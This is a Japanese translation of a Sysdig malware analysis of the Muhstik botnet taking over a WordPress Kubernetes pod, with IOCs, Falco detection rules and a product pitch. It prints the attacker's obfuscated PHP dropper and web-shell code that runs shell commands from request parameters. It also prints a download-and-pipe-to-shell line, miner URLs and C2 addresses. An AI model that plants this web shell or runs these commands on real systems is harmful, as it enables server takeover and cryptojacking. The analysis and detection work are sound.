本文の内容は、2021年11月16日にStefano Chiericiが投稿したブログ(https://sysdig.com/blog/muhstik-malware-botnet-analysis/)を元に日本語に翻訳・再構成した内容となっております。
マルウェアは継続的に変異し、新しいサービスやプラットフォームを狙っています。Sysdigセキュリティリサーチチームは、有名なMuhstik Botnetが新たな挙動を示し、KubernetesのPodを制御して暗号通貨をマイニングする方法で攻撃していることを確認しました。
WordPressのKubernetes PodがMuhstikワームによって侵害され、ボットネットに追加されました。このPodには、 xmra64や
xmrig64
など、さまざまな種類のクリプトマイナーがデプロイされ、実行されています。
今回の攻撃は、私たちが長い間見てきたことを裏付けるものです。クリプトマイナー攻撃は増加しており、その形態もさまざまです。暗号通貨の価格が高騰していることも、事態をさらに悪化させています。
ここでは、Muhstikマルウェアの特徴、この特殊な攻撃のステップバイステップ、そしてインフラをこの攻撃から守る方法について説明します。
Muhstikマルウェアとは?
Muhstikマルウェアは2017年から登場しており、Miraiコードのフォークをベースにしており、現在は複数のWebアプリケーションエクスプロイトによってクラウドに影響を与えていると推測されます。ボットネットは、クリプトマイニングを介して、DDoS攻撃サービスでマネタイズしています。
ボットネットの標的は、WordPress、Drupal、WebDAV、オラクルのWebLogicアプリケーションサーバーなどの多種多様なウェブアプリケーションに加え、IoT(Internet-of-Things)やSOHO(Small Office/Home Office)のデバイスなどです。
Muhstikは、そのボットネットを利用して大規模な分散型サービス拒否(DDoS)攻撃を行いますが、被害を受けたシステムに複数の暗号通貨マイナーをインストールすることもあります。
Muhstikのビヘイビア ステップ by ステップ
まずは、Podの侵害からクリプトマイニング活動まで、攻撃行動と実行された主なステップを簡単に説明します。Muhstikのダイアグラム
攻撃の概要は以下の通りです:
- ハニーポットアカウントでデフォルトの認証情報で設定されたWordPressの管理者ログインが攻撃された。
-
E3DC4533F48E7161DA720C6FD3591710.php
という悪意のあるPHPページをアップロードするためにheader.php
ファイルが使用されました。 - 悪意のあるPHPコードは、ファイルをロードし、リモートコマンドを実行します。
-
pty3
がアップロードしたコードは、Pod上で実行されました。- その後、
pty3
はggop6b5pqkmfrfd
という新しいプロセスを生成し、ボットネットに接続しました。- ファイルが異なるディレクトリにコピーされました。
- ファイル
rc.local
に永続化のためのエントリを作成しました。 - 永続化のために、常に respawn 機能を使用して
/etc/inittab
ファイルを作成しました。
xmrig64
クリプトマイナーバイナリがマシン上で実行されました。- 悪意のあるリモートスクリプトがダウンロードされ、ポッド上で実行されました
http://118.24.84.121/wp-content/themes/twentyfifteen/kn | sh
- その他のptyファイルをダウンロードして実行しました。
- そして、
178.62.105.90
のIPアドレスからxmra64
クリプトマイナーバイナリをダウンロードし、185.165.171.78, 185.86.148.14
のIPアドレスのマイニングプールを使用してPod上で実行しました。
Muhstikマルウェアの詳細
#1 初期アクセス – 暗号化されたPHP web shell
ハニーポットでは、WordPressのデフォルトの認証情報が悪用され、WordPressのheader.php
ファイルが以下の文字列で更新されました。最後のクリアテキストコードから理解できるように、PHPの関数
file_put_contents
を使用して新しいファイルを作成し、その中に暗号化されたコードを入れました。<?php if (isset($_GET['t6'])) { $data = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP6cVfkPgy862xKQhOOAWOK0SBsKKgJRTyuVO0yOvY5d/NbdNYHe8d87u3gntoHr6Yo/EGl05tl0c2lz51RTGAvTxHPcodwwVNB2E1dGd0aSpZSHydLom6NBu9PuOjkP7MxuDCzQDvcHh/2jo8Fe3+/vHWv9vf7gUH//8PDgwNnzPeeDJpA6ej9CXI74kNEw4XTpMlkMEz5q2i3iBil142AwOUI5HKds4o17uNJTG242mQcEKPk7J4wTD66vzmDlMFXQwhcWgMg8CBkwT+8I3R33shpAQHhYx/Mo+jv5KWZcBJ5WI2M4dbvQtXTTq9+nSjf6yXx+dp9czOb6J9gFDS4xDmPUH/dXZgEJ+BWojD9RpLEZJkzO4TPEDlKXh/3RwmRil0dj3mTTKKXDN77vjxYp9QgdDrJ7YHYUbSBq4bFkT++5I8YuVjihzV0/pTHEhAepdHIp41q5b8YfMm+JXK6QASRBrEla5Z5Am4x7laNN5D7k+Pso0hv6YISMEWFn7V+n8xt9FRL9k6ky3GgoxauCf50HUFsFqQbWpEuiuKWlzBYny+0syOxcrAyd6ea2lMu1jSmSNzRZ/LSpbSdIBeGWFnBBw4TYwrWmXlxP3hKakKgppqVrvdfQKMQhO9hfhFwKL0Iu7dPzuT07/WYKlnLBPvwAvhMxAlDgNCd1borKdlaCLUwAxl8MPSGJm23EEPExSHqtgwoEAZ5R9TZkojKswtmum8YehrYmrnQuo3GCaiHhwMJ/iPUO5K2z3vTlN9Hwc7OAUZFa7ol4VUBG3GmR8oRwygVALd9CqF1vidzoLF/EId8kPc+iFAslFKnPSZ5uFryE5UlKUUYSSsYJTIkdtC5dk+6ttY5Cz6azGz3H8vbDCPXQUeoXoI/qJ0HviK0OJp4tNI10emyc2cp+GypRatWJSKavhEtmWHLmTSrBsYMIXkxhKrgvKs9l18XGAxy3BPaTg3GfGv4C2iYujTo1tsq0zaaz2enF+VrsvTeeem3mJ9gQVFgSdPzB2LR/E758KWLBOpNPINL49i0GQiLX97FAKgj1wHwbJ1hJlWtJno9L9YUR9/ax8L0oCB5leaHXyWJWuldgB+I8YDy8HfeUYLxD7a3r5tQWGRaPnCGivSTcxlqKLUMKDEwnpkNet9yyzPbKMjuSH6JBrgXWEPLQswq0+AEXEnJmmMjfsqqyfEFy3FusiX7T2fJhDOWlqTSzJkf1mRYV23av+8xXtBkk5DYquZvjPuOU4hNwCLV60HttPa2F3pZHjFUi9VkM/aCmJj5Xa0ETaN6uQBp65EIz3bCo6mH+rUjWWJQ/fnw1zgj1baTVj6pemXW99q54orY0Y3HOLFqbfP0a/JzGsSPGK5Xy6gigZGWP75kcADQ39rS6Zyab+02uYzS4ZqJcrmJEX80I+qjOFN84BRHnEQ8zHC6l3o7nY6dxXrojvPkPF8quiVpGukS8RQ1igtDzVUWwSA9G3SHRtgtk2cW14swjhfZIFudxJa2HQyVEwRfRR9aD98U5xROngRtu57O4RjNDJAuZtuDr2CqHeOGtj1uqvRYpqQ8HxXlDdcTe/50NXhoNNpe8JZhuxfA0zzJ5kegWrgwxI13MtqG/De9ZRkFW+h+n57oaFU3fUlTHdEJ/bkepEPpB8IjBQeS8iI8+/ws=')))); ?>"; file_put_contents("E3DC4533F48E7161DA720C6FD3591710.php", $data); } ?>
実際に実行されたコードを見つけるためには、base64の文字列から復号化プロセスをやり直す必要があります。この場合、トリプルエンコーディングになっています。
- Base_64エンコーディング:Base_64エンコーディング:テキストやコードをエンコードして、エラーを起こさずに送信したり、検出を回避したりするために使用される方法。
- Rot13 置換暗号:ASCII文字の単純なシフト文字ローテーション。
- 圧縮:Gzip圧縮が適用され、ウェブの「POST」リクエストで使用できる「text」が取得されます。
PHPコードの最初の部分は、さらなるマルウェアファイルのダウンロードに使用されています。次のセクションでより深く説明します。
if (isset($_GET['wie'])) {
$arr = array("who" => array("os_name" => php_uname('s'), "uname_version_info" => php_uname('v'), "machine_type" => php_uname('m'), "kernel" => php_uname('r'), "php_uname" => php_uname(), "is64bit" => PHP_INT_SIZE === 4 ? false : true));
print (json_encode($arr));
exit;
} elseif (isset($_GET['knal'])) {
$comd = $_GET['knal'];
echo "<pre><font size=3 color=#000000>" . shell_exec($comd) . "</font></pre>";
exit;
} elseif (isset($_POST['submit'])) {
$uploaddir = pwd();
if (!$name = $_POST['newname']) {
$name = $_FILES['userfile']['name'];
}
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) {
echo "Upload Failed";
} else {
echo "Upload Success to " . $uploaddir . $name . " :D ";
}...
ここで、ボットネットとのセッションと認証を確認します。
if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) {
if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) {
$_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
} else {
printLogin();
}
}
以下のPHPコードは、現在のユーザーに関する情報を取得するために使用され、Muhstikマルウェアによって署名されています。
echo "<title>UnKnown - muhstik</title><br>";
$cur_user = "(" . get_current_user() . ")";
echo "<font size=2 color=#888888><b>User : uid=" . getmyuid() . $cur_user . " gid=" . getmygid() . $cur_user . "</b><br>";
echo "<font size=2 color=#888888><b>Uname : " . php_uname() . "</b><br>";
このPHPコードの最後の部分は、ボットネットからコマンドを送信するためのバックドア通信として使用されています。 cmd、
dir
または ls -la
コマンドを観察することができます。
if (isset($_POST['command'])) {
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>" . shell_exec($cmd) . "</font></pre>";
} else {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
echo "<pre><font size=3 color=#000000>" . shell_exec('dir') . "</font></pre>";
} else {
echo "<pre><font size=3 color=#000000>" . shell_exec('ls -la') . "</font></pre>";
}
}
#2 伝播 – Podにドロップされたpty3
作成されたWebシェルを使ってPod上にドロップされ実行された最初のマルウェアファイルは、バイナリの pty3
でした。バイナリの解析にはVirustotalという外部サービスを使用しており、これにより、複数のAVを使って、どのタイプのマルウェアであるかを検出することができます。
この特定のバイナリは、2021年4月に初めて報告され、32の情報源により、確かにマルウェアであることが確認されました。Muhstik Botnetに関連する pty3
マルウェアのバージョンは数多く存在していますが、しかし、これは最近のバージョンのようです。
当社のマルウェア分析では、ハニーポットを使用してマルウェアの挙動とその目的を追跡しています。
これが通常の本番サーバであれば、インシデント対応の計画を立て、直ちにバイナリを分離し、ソースを調査し、将来のインシデントに備えてセキュリティを強化しているでしょう。
#3 ランタイム解析 – ポッド内で実行されたpty3マルウェア
マルウェアファイル pty3
は、Podに投下された直後に実行されました。 pty3
が何をしているかを追跡するために、オープンソースのツールであるSysdig Inspectを使ってシステムコールを可視化しました。
それでは、マルウェアが実行するアクティビティを詳しく見ていきましょう。
#3.1 Podで動作するネットワークツールの確認
最初のアクションとして、マルウェアはネットワーク・ダンプ・ツールがPodで実行されているかどうかをチェックします。チェックされる2つのバイナリは tcpdump
と strace
です。
TcpDumpのスクリーンショット
Straceのスクリーンショット
これは、マルウェアに感染させる新しいターゲットを発見・特定するための典型的なプロセスで、プロセス中のシステムバイナリやGTFOBinsを使用しています。
#3.2 永続化フェーズ
プロセスが終了したり、マシンが再起動されたりした場合にMuhstikマルウェアが再実行されるようにするためには、マルウェアがポッド内で自らを拡散し、何らかのアクションを実行する必要があります。
この場合、 pty3
バイナリは、マシンでの持続性を実現するために特別な手段を実行しました。
まず、 pty3
は、持続性を目的として、自分自身を異なるディレクトリにコピーし始めました。
- /tmp/pty3
- /dev/shm/pty3
- /var/tmp/pty3
- /var/lock/pty3
- /var/run/pty3
その後、crontabを実行しようとしましたが、crontabのバイナリはPodの中にはありませんでした。そこで、/etc/inittab
に以下の行を追加して、persistenceを実行することに成功しました。
respawn
関数を使用することで、プロセスが死亡した場合、侵害されたホスト/ポッドを失うことなく自動的にリスポーンされます。
また、Muhstikマルウェアは、以下のスクリーンショットに示すように、同じ目的で rc.local
ファイルに自分自身を追加しました。
#3.3 ボットネットとのC&C通信の確立
この時点で、マルウェアは通信を行い、ゾンビPodに指示を送る必要があります。次の画像では、プロセス ggop6b5pqkmfrfd
とウェブサーバの間のPING / PONG通信を見ることができます。
PING&PONG通信
これは他のマルウェアやC&Cプロトコルに似ており、ターゲットに関する情報を取得し、更新された攻撃ペイロードを通信で返します。
少し立ち止まって、ドロップしたマルウェアがこれまでに行った活動をまとめてみましょう:
- ボットネットに接続するための新しいプロセスを生成する。
- ホスト/ポッド内で実行されているツールをチェックし、感染させる新しいポッドを発見する。
- 自身を別の場所に複製して永続化させる。
-
/etc/inittab
を作成・編集してcrontabを実行し、パーシステンスを得る。
#4 Crypto minersの動作
Muhstik Botnetの目的は、被害者に感染した後、感染したリソースを収益化することです。Muhstikマルウェアは、自身が制御するKubernetes Podsに2つのバイナリをダウンロードし、クリプトマイニングを開始します。
#4.1 xmrig64
バイナリのダウンロードとポッド上での実行
マルウェアの感染が完了し、Podをボットネットに接続した後、攻撃者はPHP Web shellを使って xmrig64
バイナリをアップロードして実行しました。
以下の画面を見ると、Inspectを使用して、IPプール186.86.148.14にポート8081で接続しているマイナーを検出し、情報の共有を開始しています。
ネットワークログのスクリーンショット
#4.2 xmra64
バイナリのビヘイビア
Podで実行されている ggop6b5pqkmfrfd
プロセスを使用して、Muhstik Botnetは、IP 178.62.105.90から wget
と curl
コマンドを実行して、クリプトマイナーバイナリ xmra64
をダウンロードしました。
wgetログトレース
ダウンロード後、 ggop6b5pqkmfrfd
はバイナリを実行するための準備をしました。chmodを使って実行ビットを設定している様子がわかります。
さらに検出されたトレース
この xmra64
バイナリを再度アップロードしたところ、レポートは非常によく似ていました。これは有名なクリプトマイナーです。
2つ目のVirusTotalレポート
クリプトマイナーバイナリの起動時に、2つのクリプトマイナープールが指定されていました。
185.165.171.78
185.86.148.14
以下の画面から、minerがプールとの通信を開始したことがわかります。
マイナーがプールと通信している痕跡
#5 その他のマルウェアバイナリ – Podにドロップされたその他のptyファイル
最初のminerを実行した後、他の pty
ファイルがPod上にドロップされ、スクリプトをダウンロードして実行していました。
ダウンロードされたファイルを見ると、実行されたコードとそのファイルがどこからダウンロードされたかがわかります。
ボットネットからダウンロードされたファイル
以前に実行された pty3
ファイルの異なるバージョンである可能性があるファイル pty*
が、 167.99.39.134/.x/
からダウンロードされていることがわかります。
IOCおよび不審な活動の概要
IPs & URLs
- http://118.84.24.121:80/wp-content/themes/twentyfifteen/kn
- http://167.99.39.134/.x/
- http://178.62.105.90:80/wp-content/themes/twentyfifteen/xmra64
- 185.86.148.14:8081
- 185.165.171.78:8081
ファイルとそれらのMD5:
E3DC4533F48E7161DA720C6FD3591710.php
- 4dc3298cdbf565cc897a922807a2809667535c5a
pty3
- 61586a0c47e3ae120bb53d73e47515da4deaefbb
xmrig64
- de64b454420c64fc160a9c6c705896ae0e26d8db
xmra64
- 497f4e24464a748c52f92de1fba33551
疑わしい活動
Muhstikマルウェアの分析では、特筆すべき不審な活動がいくつかあります。wget
はビルド時ではなくランタイムに起動される- マイナープールとのネットワーク通信
- 未知のプロセスが起動したことによるCPU使用率の上昇
FalcoによるMuhstikボットネットの検出
Falcoは、コンテナやKubernetesのランタイム脅威検知のためのCNCFのオープンソースプロジェクトです。Falcoの利点の1つは、強力で柔軟なルール言語を活用することにあります。その結果、Falcoは、カスタマイズ可能なルールセットで定義された異常なビヘイビアを発見すると、セキュリティイベントを生成します。一方、Falcoには、アウトオブボックスの検出ルールがいくつか用意されています。
ここでレポートされているルールをカスタマイズすることで、この記事で言及されているIPを使った接続によるクリプトマイナーのビヘイビアを検出したり、よく知られたクリプトマイナーのドメインへの接続をプロアクティブに検出したりすることができます。
# Note: falco will send DNS request to resolve miner pool domain which may trigger alerts in your environment. - rule: Detect outbound connections to common miner pool ports desc: Miners typically connect to miner pools on common ports. condition: net_miner_pool and not trusted_images_query_miner_domain_dns exceptions: - name: proc_sport_sipname fields: [proc.name, fd.sport, fd.sip.name] enabled: false output: Outbound connection to IP/Port flagged by cryptoioc.ch (command=%proc.cmdline port=%fd.rport ip=%fd.rip container=%container.info image=%container.image.repository) priority: CRITICAL tags: [network, mitre_execution] - rule: Container Drift Detected (chmod) desc: New executable created in a container due to chmod condition: > chmod and consider_all_chmods and container and not runc_writing_var_lib_docker and not user_known_container_drift_activities and evt.rawres>=0 and ((evt.arg.mode contains "S_IXUSR") or (evt.arg.mode contains "S_IXGRP") or (evt.arg.mode contains "S_IXOTH")) exceptions: - name: proc_name_image_suffix fields: [proc.name, container.image.repository] comps: [in, endswith] - name: cmdline_file fields: [proc.cmdline, fd.name] comps: [in, in] values: - [["runc:[1:CHILD] init"], [/exec.fifo]] output: Drift detected (chmod), new executable created in a container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline filename=%evt.arg.filename name=%evt.arg.name mode=%evt.arg.mode event=%evt.type) priority: ERROR - rule: Outbound Connection to C2 Servers desc: Detect outbound connection to command & control servers condition: outbound and fd.sip in (c2_server_ip_list) exceptions: - name: proc_proto_sport fields: [proc.name, fd.l4proto, fd.sport] output: Outbound connection to C2 server (command=%proc.cmdline connection=%fd.name user=%user.name user_loginuid=%user.loginuid container_id=%container.id image=%container.image.repository) priority: WARNING tags: [network]
ルールの詳細はGitHubでご覧いただけます。
Falcoについてもっと知りたい方は、GitHubのFalcoプロジェクトをご覧ください。
Sysdig SecureによるMuhstikの検出
Sysdig Secure DevOps PlatformはFalcoの上に構築されており、この特定の攻撃を検出するために使用されました。Sysdig Secureのイメージプロファイリングの助けを借りて、DevOpsは以下のことができます:
- ポリシーを作成し、ランダムなプロセスからのポートバインドやリッスンを検出する。
- ホワイトリストに載っていない送信先IPを検出するポリシーを作成する。
- ホワイトリストに載っていないプロセスが起動されたことを検出するポリシーを作成する(例:
wget
,pty*
,xmrig64
,xmra64
)
miner_portsリストは、Sysdig Secureのアウトオブボックスのルールにすでに含まれています。cryptominer_IP_IOCには、代わりにIoCセクションでレポートされた、マイナーのビヘイビアに関連するIPが含まれています。
まとめ
今回のインシデントは、クリプトマイニング攻撃が増加傾向にあり、時間が経つにつれてよりクリエイティブになっているという傾向を裏付けています。Sysdigリサーチチームは、serv-helloやShellbotのように、似たような動作をする他のマルウェアを分析しています。システム管理者としては、適切なツールを使ってこれらの攻撃を防ぎ、検出する必要があります。クラウドネイティブ環境のプロセス・アクティビティ、ファイル・アクティビティ、ネットワーク・アクティビティを深く洞察し、スマートな検知エンジンの助けを借りなければ、このような攻撃を検知することは難しいでしょう。それを明らかにするのはさらに難しいでしょう。
また、統合されたセキュリティと監視のソリューションを活用して調査プロセスを迅速化するという点も重要です。1つの疑わしいイベントを特定したら、リソースの使用状況、ネットワーク接続、機密ファイルの読み取りなど、さまざまな角度からイベントを追跡するのに役立ちます。
Sysdig Secureは、他のオープンソースプロジェクトとともに、アウトオブボックスのでFalcoを拡張し、Kubernetesのセキュリティへの取り組みと管理をさらに容易にしています。30日間の無料トライアルに登録して、ご自身の目で確かめてください。
Sysdig Secure DevOps Platformは、コンテナ、Kubernetes、クラウド・サービスを自信を持って実行するためのセキュリティを提供します。Sysdigでは、ビルドパイプラインの保護、ランタイム脅威の検出と対応、コンプライアンスの継続的な検証、クラウドインフラストラクチャーとサービスの監視とトラブルシューティングを行うことができます。今すぐお試しください!